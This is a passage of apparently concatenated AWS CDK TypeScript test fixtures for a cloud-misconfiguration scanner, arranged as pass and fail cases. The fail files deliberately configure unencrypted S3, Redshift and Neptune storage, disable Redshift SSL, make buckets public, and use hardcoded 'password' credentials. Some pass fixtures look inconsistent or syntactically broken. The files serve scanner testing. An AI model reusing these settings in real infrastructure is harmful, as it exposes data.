backupRetentionPeriod: 123, copyTagsToSnapshot: false, dbClusterIdentifier: 'dbClusterIdentifier', dbClusterParameterGroupName: 'dbClusterParameterGroupName', dbInstanceParameterGroupName: 'dbInstanceParameterGroupName', dbPort: 123, dbSubnetGroupName: 'dbSubnetGroupName', deletionProtection: false, enableCloudwatchLogsExports: ['enableCloudwatchLogsExports'], engineVersion: 'engineVersion', iamAuthEnabled: false, kmsKeyId: 'kmsKeyId', preferredBackupWindow: 'preferredBackupWindow', preferredMaintenanceWindow: 'preferredMaintenanceWindow', restoreToTime: 'restoreToTime', restoreType: 'restoreType', serverlessScalingConfiguration: { maxCapacity: 123, minCapacity: 123, }, snapshotIdentifier: 'snapshotIdentifier', sourceDbClusterIdentifier: 'sourceDbClusterIdentifier', storageEncrypted: false, tags: [{ key: 'key', value: 'value', }], useLatestRestorableTime: false, vpcSecurityGroupIds: ['vpcSecurityGroupIds'], }); const cfnDBCluster2 = new neptune.CfnDBCluster(this, 'MyCfnDBCluster', /* all optional props */ { storageEncrypted: false, }); ================================================ FILE: cdk_integration_tests/src/typescript/NeptuneClusterStorageEncrypted/pass.ts ================================================ import {aws_neptune as neptune} from 'aws-cdk-lib'; const cfnDBCluster1 = new neptune.CfnDBCluster(this, 'MyCfnDBCluster', /* all optional props */ { associatedRoles: [{ roleArn: 'roleArn', // the properties below are optional featureName: 'featureName', }], availabilityZones: ['availabilityZones'], backupRetentionPeriod: 123, copyTagsToSnapshot: false, dbClusterIdentifier: 'dbClusterIdentifier', dbClusterParameterGroupName: 'dbClusterParameterGroupName', dbInstanceParameterGroupName: 'dbInstanceParameterGroupName', dbPort: 123, dbSubnetGroupName: 'dbSubnetGroupName', deletionProtection: false, enableCloudwatchLogsExports: ['enableCloudwatchLogsExports'], engineVersion: 'engineVersion', iamAuthEnabled: false, kmsKeyId: 'kmsKeyId', preferredBackupWindow: 'preferredBackupWindow', preferredMaintenanceWindow: 'preferredMaintenanceWindow', restoreToTime: 'restoreToTime', restoreType: 'restoreType', serverlessScalingConfiguration: { maxCapacity: 123, minCapacity: 123, }, snapshotIdentifier: 'snapshotIdentifier', sourceDbClusterIdentifier: 'sourceDbClusterIdentifier', storageEncrypted: true, tags: [{ key: 'key', value: 'value', }], useLatestRestorableTime: false, vpcSecurityGroupIds: ['vpcSecurityGroupIds'], }); const cfnDBCluster2 = new neptune.CfnDBCluster(this, 'MyCfnDBCluster', /* all optional props */ { storageEncrypted: true, }); const cfnDBCluster4: neptune.CfnDBClusterProps = { associatedRoles: [{ roleArn: 'roleArn', // the properties below are optional featureName: 'featureName', }], availabilityZones: ['availabilityZones'], backupRetentionPeriod: 123, copyTagsToSnapshot: false, dbClusterIdentifier: 'dbClusterIdentifier', dbClusterParameterGroupName: 'dbClusterParameterGroupName', dbInstanceParameterGroupName: 'dbInstanceParameterGroupName', dbPort: 123, dbSubnetGroupName: 'dbSubnetGroupName', deletionProtection: false, enableCloudwatchLogsExports: ['enableCloudwatchLogsExports'], engineVersion: 'engineVersion', iamAuthEnabled: false, kmsKeyId: 'kmsKeyId', preferredBackupWindow: 'preferredBackupWindow', preferredMaintenanceWindow: 'preferredMaintenanceWindow', restoreToTime: 'restoreToTime', restoreType: 'restoreType', serverlessScalingConfiguration: { maxCapacity: 123, minCapacity: 123, }, snapshotIdentifier: 'snapshotIdentifier', sourceDbClusterIdentifier: 'sourceDbClusterIdentifier', storageEncrypted: true, tags: [{ key: 'key', value: 'value', }], useLatestRestorableTime: false, vpcSecurityGroupIds: ['vpcSecurityGroupIds'], }); const cfnDBCluster5: neptune.CfnDBClusterProps = { storageEncrypted: true, }; ================================================ FILE: cdk_integration_tests/src/typescript/RDSEnhancedMonitorEnabled/fail2.ts ================================================ import {aws_rds as rds} from 'aws-cdk-lib'; const instance2 = new rds.DatabaseInstance(this, "PostgresInstance2", { engine: rds.DatabaseInstanceEngine.POSTGRES, credentials: { username: 'username', password: 'password' }, monitoringInterval: 0, }); const instance1 = new rds.DatabaseInstance(this, "PostgresInstance2", { engine: rds.DatabaseInstanceEngine.POSTGRES, credentials: { username: 'username', password: 'password' }, monitoringInterval: -1, }); const instance3 = new rds.DatabaseInstance(this, "PostgresInstance2", { engine: rds.DatabaseInstanceEngine.POSTGRES, credentials: { username: 'username', password: 'password' }, }); ================================================ FILE: cdk_integration_tests/src/typescript/RDSEnhancedMonitorEnabled/pass.ts ================================================ import {aws_rds as rds} from 'aws-cdk-lib'; const instance2 = new rds.DatabaseInstance(this, "PostgresInstance2", { engine: rds.DatabaseInstanceEngine.POSTGRES, credentials: { username: 'username', password: 'password' }, monitoringInterval: 1, }); const instance1 = new rds.DatabaseInstance(this, "PostgresInstance2", { engine: rds.DatabaseInstanceEngine.POSTGRES, credentials: { username: 'username', password: 'password' }, monitoringInterval: 322424, }); ================================================ FILE: cdk_integration_tests/src/typescript/RDSMultiAZEnabled/fail.ts ================================================ // SOURCE import { DatabaseInstance } from '@aws-cdk/aws-rds'; // SINK // SINK: Vulnerability found due to missing Multi-AZ setting new DatabaseInstance(stack, 'MyDatabaseInstance', { instanceType: ec2.InstanceType.of(ec2.InstanceClass.BURSTABLE2, ec2.InstanceSize.MICRO), vpc // missing Multi-AZ setting }); ================================================ FILE: cdk_integration_tests/src/typescript/RDSMultiAZEnabled/pass.ts ================================================ // SOURCE import { DatabaseInstance } from '@aws-cdk/aws-rds'; // SINK // SINK: Vulnerability found due to missing Multi-AZ setting new DatabaseInstance(stack, 'MyDatabaseInstance', { instanceType: ec2.InstanceType.of(ec2.InstanceClass.BURSTABLE2, ec2.InstanceSize.MICRO), vpc, multiAZ: true }); ================================================ FILE: cdk_integration_tests/src/typescript/RDSPubliclyAccessible/fail.ts ================================================ // SOURCE import { DatabaseInstance } from '@aws-cdk/aws-rds'; // SINK // SINK: Vulnerability found due to publicly accessible setting new DatabaseInstance(stack, 'MyDatabaseInstance', { instanceType: ec2.InstanceType.of(ec2.InstanceClass.BURSTABLE2, ec2.InstanceSize.MICRO), vpc // publicly accessible setting missing }); ================================================ FILE: cdk_integration_tests/src/typescript/RDSPubliclyAccessible/pass.ts ================================================ // SOURCE import { DatabaseInstance } from '@aws-cdk/aws-rds'; // SINK new DatabaseInstance(stack, 'MyDatabaseInstance', { instanceType: ec2.InstanceType.of(ec2.InstanceClass.BURSTABLE2, ec2.InstanceSize.MICRO), vpc, publicly_accessible: true }); ================================================ FILE: cdk_integration_tests/src/typescript/RedShiftSSL/fail__2__.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as redshift from 'aws-cdk-lib/aws-redshift'; class MyRedshiftClusterParameterGroupStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Define Redshift Cluster Parameter Group with require_ssl parameter new redshift.CfnClusterParameterGroup(this, 'MyRedshiftClusterParameterGroup', { description: 'My Redshift Parameter Group', parameterGroupFamily: 'redshift-1.0', parameters: [ { parameterName: 'require_ssl', parameterValue: 'false', }, // Add other parameters if needed ], }); } } const app = new cdk.App(); new MyRedshiftClusterParameterGroupStack(app, 'MyRedshiftClusterParameterGroupStack'); app.synth(); class MyRedshiftClusterParameterGroupStack2 extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Define Redshift Cluster Parameter Group with abc parameter new redshift.CfnClusterParameterGroup(this, 'MyRedshiftClusterParameterGroup2', { description: 'My Redshift Parameter Group 2', parameterGroupFamily: 'redshift-1.0', }); } } new MyRedshiftClusterParameterGroupStack2(app, 'MyRedshiftClusterParameterGroupStack2'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/RedShiftSSL/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as redshift from 'aws-cdk-lib/aws-redshift'; class MyRedshiftClusterParameterGroupStack extends cdk.Stack { constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); // Define Redshift Cluster Parameter Group with require_ssl parameter new redshift.CfnClusterParameterGroup(this, 'MyRedshiftClusterParameterGroup', { description: 'My Redshift Parameter Group', parameterGroupFamily: 'redshift-1.0', parameters: [ { parameterName: 'require_ssl', parameterValue: 'true', }, // Add other parameters if needed ], }); } } const app = new cdk.App(); new MyRedshiftClusterParameterGroupStack(app, 'MyRedshiftClusterParameterGroupStack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/RedshiftClusterEncryption/fail__2__.ts ================================================ import * as redshift from '@aws-cdk/aws-redshift-alpha'; import * as kms from 'aws-cdk-lib/aws-kms'; import * as ec2 from 'aws-cdk-lib/aws-ec2'; import { Stack, App } from 'aws-cdk-lib'; const app = new App(); const stack = new Stack(app, 'RedshiftStack'); // Create a VPC const vpc = new ec2.Vpc(stack, 'Vpc', { maxAzs: 2 }); // Create a KMS key for encryption const kmsKey = new kms.Key(stack, 'KmsKey'); const cluster = new redshift.Cluster(stack, 'MyCluster', { masterUser: { masterUsername: 'admin', }, vpc, }); import * as redshift from 'aws-cdk-lib/aws_redshift'; import * as kms from 'aws-cdk-lib/aws-kms'; import * as ec2 from 'aws-cdk-lib/aws-ec2'; import { Stack, App } from 'aws-cdk-lib'; const app = new App(); const stack = new Stack(app, 'RedshiftStack'); // Create a VPC const vpc = new ec2.Vpc(stack, 'Vpc', { maxAzs: 2 }); // Create a KMS key for encryption const kmsKey = new kms.Key(stack, 'KmsKey'); const cfnCluster = new redshift.CfnCluster(stack, 'MyCfnCluster', { clusterType: 'multi-node', dbName: 'mydatabase', masterUsername: 'admin', masterUserPassword: 'password', nodeType: 'ds2.xlarge', numberOfNodes: 3, kmsKeyId: kmsKey.keyArn, // Use the specific KMS key vpcSecurityGroupIds: [ /* security group IDs */ ], clusterSubnetGroupName: vpc.selectSubnets({ subnetType: ec2.SubnetType.PRIVATE_WITH_EGRESS }).subnetIds[0], }); ================================================ FILE: cdk_integration_tests/src/typescript/RedshiftClusterEncryption/pass.ts ================================================ import * as redshift from '@aws-cdk/aws-redshift-alpha'; import * as kms from 'aws-cdk-lib/aws-kms'; import * as ec2 from 'aws-cdk-lib/aws-ec2'; import { Stack, App } from 'aws-cdk-lib'; const app = new App(); const stack = new Stack(app, 'RedshiftStack'); // Create a VPC const vpc = new ec2.Vpc(stack, 'Vpc', { maxAzs: 2 }); // Create a KMS key for encryption const kmsKey = new kms.Key(stack, 'KmsKey'); const cluster = new redshift.Cluster(stack, 'MyCluster', { masterUser: { masterUsername: 'admin', }, vpc, encryption: true, }); import * as redshift from 'aws-cdk-lib/aws_redshift'; import * as kms from 'aws-cdk-lib/aws-kms'; import * as ec2 from 'aws-cdk-lib/aws-ec2'; import { Stack, App } from 'aws-cdk-lib'; const app = new App(); const stack = new Stack(app, 'RedshiftStack'); // Create a VPC const vpc = new ec2.Vpc(stack, 'Vpc', { maxAzs: 2 }); // Create a KMS key for encryption const kmsKey = new kms.Key(stack, 'KmsKey'); const cfnCluster = new redshift.CfnCluster(stack, 'MyCfnCluster', { clusterType: 'multi-node', dbName: 'mydatabase', masterUsername: 'admin', masterUserPassword: 'password', nodeType: 'ds2.xlarge', numberOfNodes: 3, encryption: true, kmsKeyId: kmsKey.keyArn, // Use the specific KMS key vpcSecurityGroupIds: [ /* security group IDs */ ], clusterSubnetGroupName: vpc.selectSubnets({ subnetType: ec2.SubnetType.PRIVATE_WITH_EGRESS }).subnetIds[0], }); ================================================ FILE: cdk_integration_tests/src/typescript/RedshiftClusterLogging/fail.ts ================================================ // SOURCE import { Cluster } from '@aws-cdk/aws-redshift'; // SINK // SINK: Vulnerability found due to missing logging enabled new Cluster(stack, 'MyRedshiftCluster', { masterUser: { masterUsername: 'admin', masterPassword: 'password', }, vpc // logging enabled missing }); ================================================ FILE: cdk_integration_tests/src/typescript/RedshiftClusterLogging/pass.ts ================================================ // SOURCE import { Cluster } from '@aws-cdk/aws-redshift'; // SINK // SINK: Vulnerability found due to missing logging enabled let bucketName; let stack; new Cluster(stack, 'MyRedshiftCluster', { masterUser: { masterUsername: 'admin', masterPassword: 'password', }, logging_properties: Cluster.LoggingPropertiesProperty = {bucketName: 'name'} // logging enabled missing }); ================================================ FILE: cdk_integration_tests/src/typescript/RedshiftClusterPubliclyAccessible/fail.ts ================================================ // SOURCE import { Cluster } from '@aws-cdk/aws-redshift'; // SINK // SINK: Vulnerability found due to publicly accessible cluster new Cluster(stack, 'MyRedshiftCluster', { masterUser: { masterUsername: 'admin', masterPassword: 'password', }, vpc, publiclyAccessible: true, // publicly accessible cluster }); ================================================ FILE: cdk_integration_tests/src/typescript/RedshiftClusterPubliclyAccessible/pass.ts ================================================ // SOURCE import { Cluster } from '@aws-cdk/aws-redshift'; // SINK // SINK: Vulnerability found due to publicly accessible cluster new Cluster(stack, 'MyRedshiftCluster', { masterUser: { masterUsername: 'admin', masterPassword: 'password', }, vpc, publiclyAccessible: false, }); new Cluster(stack, 'MyRedshiftCluster', { masterUser: { masterUsername: 'admin', masterPassword: 'password', }, vpc }); ================================================ FILE: cdk_integration_tests/src/typescript/RedshiftInEc2ClassicMode/fail.ts ================================================ // SOURCE import { Cluster } from '@aws-cdk/aws-redshift'; // SINK // SINK: Vulnerability found due to Redshift cluster deployed outside of a VPC new Cluster(stack, 'MyRedshiftCluster', { masterUser: { masterUsername: 'admin', masterPassword: 'password', }, vpc: vpc }); ================================================ FILE: cdk_integration_tests/src/typescript/RedshiftInEc2ClassicMode/pass.ts ================================================ // SOURCE import { Cluster } from '@aws-cdk/aws-redshift'; // SINK new Cluster(stack, 'MyRedshiftCluster', { masterUser: { masterUsername: 'admin', masterPassword: 'password', }, vpc: vpc, clusterSubnetGroupName: 'name' }); ================================================ FILE: cdk_integration_tests/src/typescript/S3BlockPublicACLs/fail.ts ================================================ import * as cdk from 'aws-cdk-lib'; import { Stack, App } from 'aws-cdk-lib'; import * as s3 from 'aws-cdk-lib/aws-s3'; const app = new App(); const stack = new Stack(app, 'S3BucketStack'); // Create an S3 bucket with blockPublicAcls enabled const bucket = new s3.Bucket(stack, 'MyBucket', { blockPublicAccess: s3.BlockPublicAccess.IGNORE_ACLS, versioned: true, removalPolicy: cdk.RemovalPolicy.DESTROY, autoDeleteObjects: true, }); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/S3BlockPublicACLs/fail__3__.ts ================================================ import * as cdk from 'aws-cdk-lib'; import { Stack, App } from 'aws-cdk-lib'; import { Bucket, BlockPublicAccess } from 'aws-cdk-lib/aws-s3'; const app = new App(); const stack = new Stack(app, 'S3BucketStack'); // Create an S3 bucket with blockPublicAcls enabled const bucket = new Bucket(stack, 'MyBucket', { blockPublicAccess: BlockPublicAccess.IGNORE_ACLS, versioned: true, removalPolicy: cdk.RemovalPolicy.DESTROY, autoDeleteObjects: true, }); const bucket2 = new Bucket(stack, 'MyBucket', { versioned: true, removalPolicy: cdk.RemovalPolicy.DESTROY, autoDeleteObjects: true, }); app.synth(); import * as cdk from 'aws-cdk-lib'; import { Stack, App } from 'aws-cdk-lib'; import * as s3 from 'aws-cdk-lib/aws-s3'; const app = new App(); const stack = new Stack(app, 'S3BucketStack'); // Create an S3 bucket with blockPublicAcls enabled const bucket = new s3.CfnBucket(stack, 'MyBucket', { bucketName: 'my-bucket-name', // Optional: Specify a bucket name versioningConfiguration: { status: 'Enabled', }, publicAccessBlockConfiguration: { blockPublicAcls: false, // Only block public ACLs ignorePublicAcls: true, }, }); bucket.applyRemovalPolicy(cdk.RemovalPolicy.DESTROY); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/S3BlockPublicACLs/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import { Stack, App } from 'aws-cdk-lib'; import * as s3 from 'aws-cdk-lib/aws-s3'; const app = new App(); const stack = new Stack(app, 'S3BucketStack'); // Create an S3 bucket with blockPublicAcls enabled const bucket = new s3.Bucket(stack, 'MyBucket', { blockPublicAccess: s3.BlockPublicAccess.BLOCK_ACLS, // Only block public ACLs versioned: true, removalPolicy: cdk.RemovalPolicy.DESTROY, // NOT recommended for production code autoDeleteObjects: true, // NOT recommended for production code }); const bucket2 = new s3.Bucket(stack, 'MyBucket', { blockPublicAccess: s3.BlockPublicAccess.BLOCK_ALL, // Only block public ACLs versioned: true, removalPolicy: cdk.RemovalPolicy.DESTROY, // NOT recommended for production code autoDeleteObjects: true, // NOT recommended for production code }); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/S3BlockPublicACLs/pass2.ts ================================================ import * as cdk from 'aws-cdk-lib'; import { Stack, App } from 'aws-cdk-lib'; import { Bucket, BlockPublicAccess } from 'aws-cdk-lib/aws-s3'; const app = new App(); const stack = new Stack(app, 'S3BucketStack'); // Create an S3 bucket with blockPublicAcls enabled const bucket = new Bucket(stack, 'MyBucket', { blockPublicAccess: BlockPublicAccess.BLOCK_ACLS, // Only block public ACLs versioned: true, removalPolicy: cdk.RemovalPolicy.DESTROY, // NOT recommended for production code autoDeleteObjects: true, // NOT recommended for production code }); const bucket2 = new Bucket(stack, 'MyBucket', { blockPublicAccess: BlockPublicAccess.BLOCK_ALL, // Only block public ACLs versioned: true, removalPolicy: cdk.RemovalPolicy.DESTROY, // NOT recommended for production code autoDeleteObjects: true, // NOT recommended for production code }); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/S3BlockPublicACLs/pass3.ts ================================================ import * as cdk from 'aws-cdk-lib'; import { Stack, App } from 'aws-cdk-lib'; import * as s3 from 'aws-cdk-lib/aws-s3'; const app = new App(); const stack = new Stack(app, 'S3BucketStack'); // Create an S3 bucket with blockPublicAcls enabled const bucket = new s3.CfnBucket(stack, 'MyBucket', { bucketName: 'my-bucket-name', // Optional: Specify a bucket name versioningConfiguration: { status: 'Enabled', }, publicAccessBlockConfiguration: { blockPublicAcls: true, // Only block public ACLs ignorePublicAcls: true, }, }); // Add deletion policy to the bucket bucket.applyRemovalPolicy(cdk.RemovalPolicy.DESTROY); // NOT recommended for production code app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/S3BlockPublicPolicy/fail.ts ================================================ // FINDING import { Bucket } from '@aws-cdk/aws-s3'; // SINK // SINK: Vulnerability found due to S3 bucket missing block public policy new Bucket(stack, 'MyBucket', { publicReadAccess: true, // This should be 'false' to block public policy }); ================================================ FILE: cdk_integration_tests/src/typescript/S3BlockPublicPolicy/pass.ts ================================================ // FINDING import { Bucket } from '@aws-cdk/aws-s3'; // SINK // SINK: Vulnerability found due to S3 bucket missing block public policy new Bucket(stack, 'MyBucket', { publicReadAccess: false, // This should be 'false' to block public policy }); new Bucket(stack, 'MyBucket', { random_param: false, }); ================================================ FILE: cdk_integration_tests/src/typescript/S3BucketEncryption/fail2__2__.ts ================================================ import * as cdk from 'aws-cdk-lib'; import { Bucket, BucketEncryption } from 'aws-cdk-lib/aws-s3'; import { Construct } from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const fail = new Bucket(this, 'example', {}); const fail2 = new Bucket(this, 'example', { encryption: BucketEncryption.UNENCRYPTED }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/S3BucketEncryption/fail__2__.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as s3 from 'aws-cdk-lib/aws-s3'; import { Construct } from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const fail = new s3.Bucket(this, 'example', {}); const fail2 = new s3.Bucket(this, 'example', { encryption: s3.BucketEncryption.UNENCRYPTED }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/S3BucketEncryption/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as s3 from 'aws-cdk-lib/aws-s3'; import { Construct } from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const pass = new s3.Bucket(this, 'example', { encryption: s3.BucketEncryption.S3_MANAGED, }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/S3BucketEncryption/pass2.ts ================================================ import * as cdk from 'aws-cdk-lib'; import { Bucket, BucketEncryption } from 'aws-cdk-lib/aws-s3'; import { Construct } from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const pass = new Bucket(this, 'example', { encryption: BucketEncryption.KMS }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/S3BucketKMSEncryption/fail2__3__.ts ================================================ import * as cdk from 'aws-cdk-lib'; import { Bucket, BucketEncryption } from 'aws-cdk-lib/aws-s3'; import { Construct } from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const fail = new Bucket(this, 'example', {}); const fail2 = new Bucket(this, 'example', { encryption: BucketEncryption.UNENCRYPTED }); const fail3 = new Bucket(this, 'example', { encryption: BucketEncryption.S3_MANAGED }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/S3BucketKMSEncryption/fail__3__.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as s3 from 'aws-cdk-lib/aws-s3'; import { Construct } from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const fail = new s3.Bucket(this, 'example', {}); const fail2 = new s3.Bucket(this, 'example', { encryption: s3.BucketEncryption.UNENCRYPTED }); const fail3 = new s3.Bucket(this, 'example', { encryption: s3.BucketEncryption.S3_MANAGED }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/S3BucketKMSEncryption/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as s3 from 'aws-cdk-lib/aws-s3'; import { Construct } from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const pass = new s3.Bucket(this, 'example', { encryption: s3.BucketEncryption.KMS_MANAGED }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/S3BucketKMSEncryption/pass2.ts ================================================ import * as cdk from 'aws-cdk-lib'; import { Bucket, BucketEncryption } from 'aws-cdk-lib/aws-s3'; import { Construct } from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const pass = new Bucket(this, 'example', { encryption: BucketEncryption.KMS }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/S3BucketLogging/fail.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as s3 from 'aws-cdk-lib/aws-s3'; import { Construct } from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const fail = new s3.Bucket(this, 'example', {}); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/S3BucketLogging/fail2.ts ================================================ import * as cdk from 'aws-cdk-lib'; import { Bucket } from 'aws-cdk-lib/aws-s3'; import { Construct } from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const fail = new Bucket(this, 'example', {}); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/S3BucketLogging/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as s3 from 'aws-cdk-lib/aws-s3'; import { Construct } from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const pass = new s3.Bucket(this, 'example', { // this would normally reference another bucket, but then I can't separate the tests serverAccessLogsBucket: bucket }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/S3BucketLogging/pass2.ts ================================================ import * as cdk from 'aws-cdk-lib'; import { Bucket } from 'aws-cdk-lib/aws-s3'; import { Construct } from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const pass = new Bucket(this, 'example', { // this would normally reference another bucket, but then I can't separate the tests serverAccessLogsBucket: bucket }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/S3BucketPublicAccessBlock/fail.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as s3 from 'aws-cdk-lib/aws-s3'; import { Construct } from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const fail = new s3.Bucket(this, 'example', {}); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/S3BucketPublicAccessBlock/fail2.ts ================================================ import * as cdk from 'aws-cdk-lib'; import { Bucket } from 'aws-cdk-lib/aws-s3'; import { Construct } from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const fail = new Bucket(this, 'example', {}); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/S3BucketPublicAccessBlock/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as s3 from 'aws-cdk-lib/aws-s3'; import { Construct } from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const pass = new s3.Bucket(this, 'example', { blockPublicAccess: s3.BlockPublicAccess.BLOCK_ALL }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/S3BucketPublicAccessBlock/pass2.ts ================================================ import * as cdk from 'aws-cdk-lib'; import { Bucket, BlockPublicAccess } from 'aws-cdk-lib/aws-s3'; import { Construct } from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const pass = new Bucket(this, 'example', { blockPublicAccess: BlockPublicAccess.BLOCK_ALL }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/S3BucketVersioning/fail2__2__.ts ================================================ import * as cdk from 'aws-cdk-lib'; import { Bucket } from 'aws-cdk-lib/aws-s3'; import { Construct } from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const fail = new Bucket(this, 'example', {}); const fail2 = new Bucket(this, 'example', { versioned: false }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/S3BucketVersioning/fail__2__.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as s3 from 'aws-cdk-lib/aws-s3'; import { Construct } from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const fail = new s3.Bucket(this, 'example', {}); const fail2 = new s3.Bucket(this, 'example', { versioned: false }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/S3BucketVersioning/pass.ts ================================================ import * as cdk from 'aws-cdk-lib'; import * as s3 from 'aws-cdk-lib/aws-s3'; import { Construct } from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const pass = new s3.Bucket(this, 'example', { versioned: true }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/S3BucketVersioning/pass2.ts ================================================ import * as cdk from 'aws-cdk-lib'; import { Bucket } from 'aws-cdk-lib/aws-s3'; import { Construct } from 'constructs'; export class exampleStack extends cdk.Stack { constructor(scope: Construct, id: string, props?: cdk.StackProps) { super(scope, id, props); const pass = new Bucket(this, 'example', { versioned: true }); } } const app = new cdk.App(); new exampleStack(app, 'example-stack'); app.synth(); ================================================ FILE: cdk_integration_tests/src/typescript/S3PublicACLRead/fail__3__.ts ================================================ import { App, Stack, StackProps } from 'aws-cdk-lib'; import { Construct } from 'constructs'; import * as s3 from 'aws-cdk-lib/aws-s3'; class S3BucketExampleStack extends Stack { constructor(scope: Construct, id: string, props?: StackProps) { super(scope, id, props); // Bucket with PUBLIC_READ access - Match new s3.Bucket(this, 'MyPublicReadBucket', { accessControl: s3.BucketAccessControl.PUBLIC_READ, }); new s3.Bucket(this, 'MyPrivateReadBucket'); // Bucket with PUBLIC_READ_WRITE access new s3.Bucket(this, 'MyPublicReadWriteBucket', { accessControl: s3.BucketAccessControl.PUBLIC_READ_WRITE, }); // Bucket with publicReadAccess set to true new s3.Bucket(this, 'MyPublicReadAccessBucket', { publicReadAccess: true, }); // Bucket with publicReadAccess set to true new s3.Bucket(this, 'MyPublicReadAccessBucket', { publicReadAccess: false, }); } } const app = new App(); new S3BucketExampleStack(app, 'S3BucketExampleStack'); ================================================ FILE: cdk_integration_tests/src/typescript/S3PublicACLRead/pass.ts ================================================ import { App, Stack, StackProps } from 'aws-cdk-lib'; import { Construct } from 'constructs'; import * as s3 from 'aws-cdk-lib/aws-s3'; class S3BucketExampleStack extends Stack { constructor(scope: Construct, id: string, props?: StackProps) { super(scope, id, props); // Bucket with 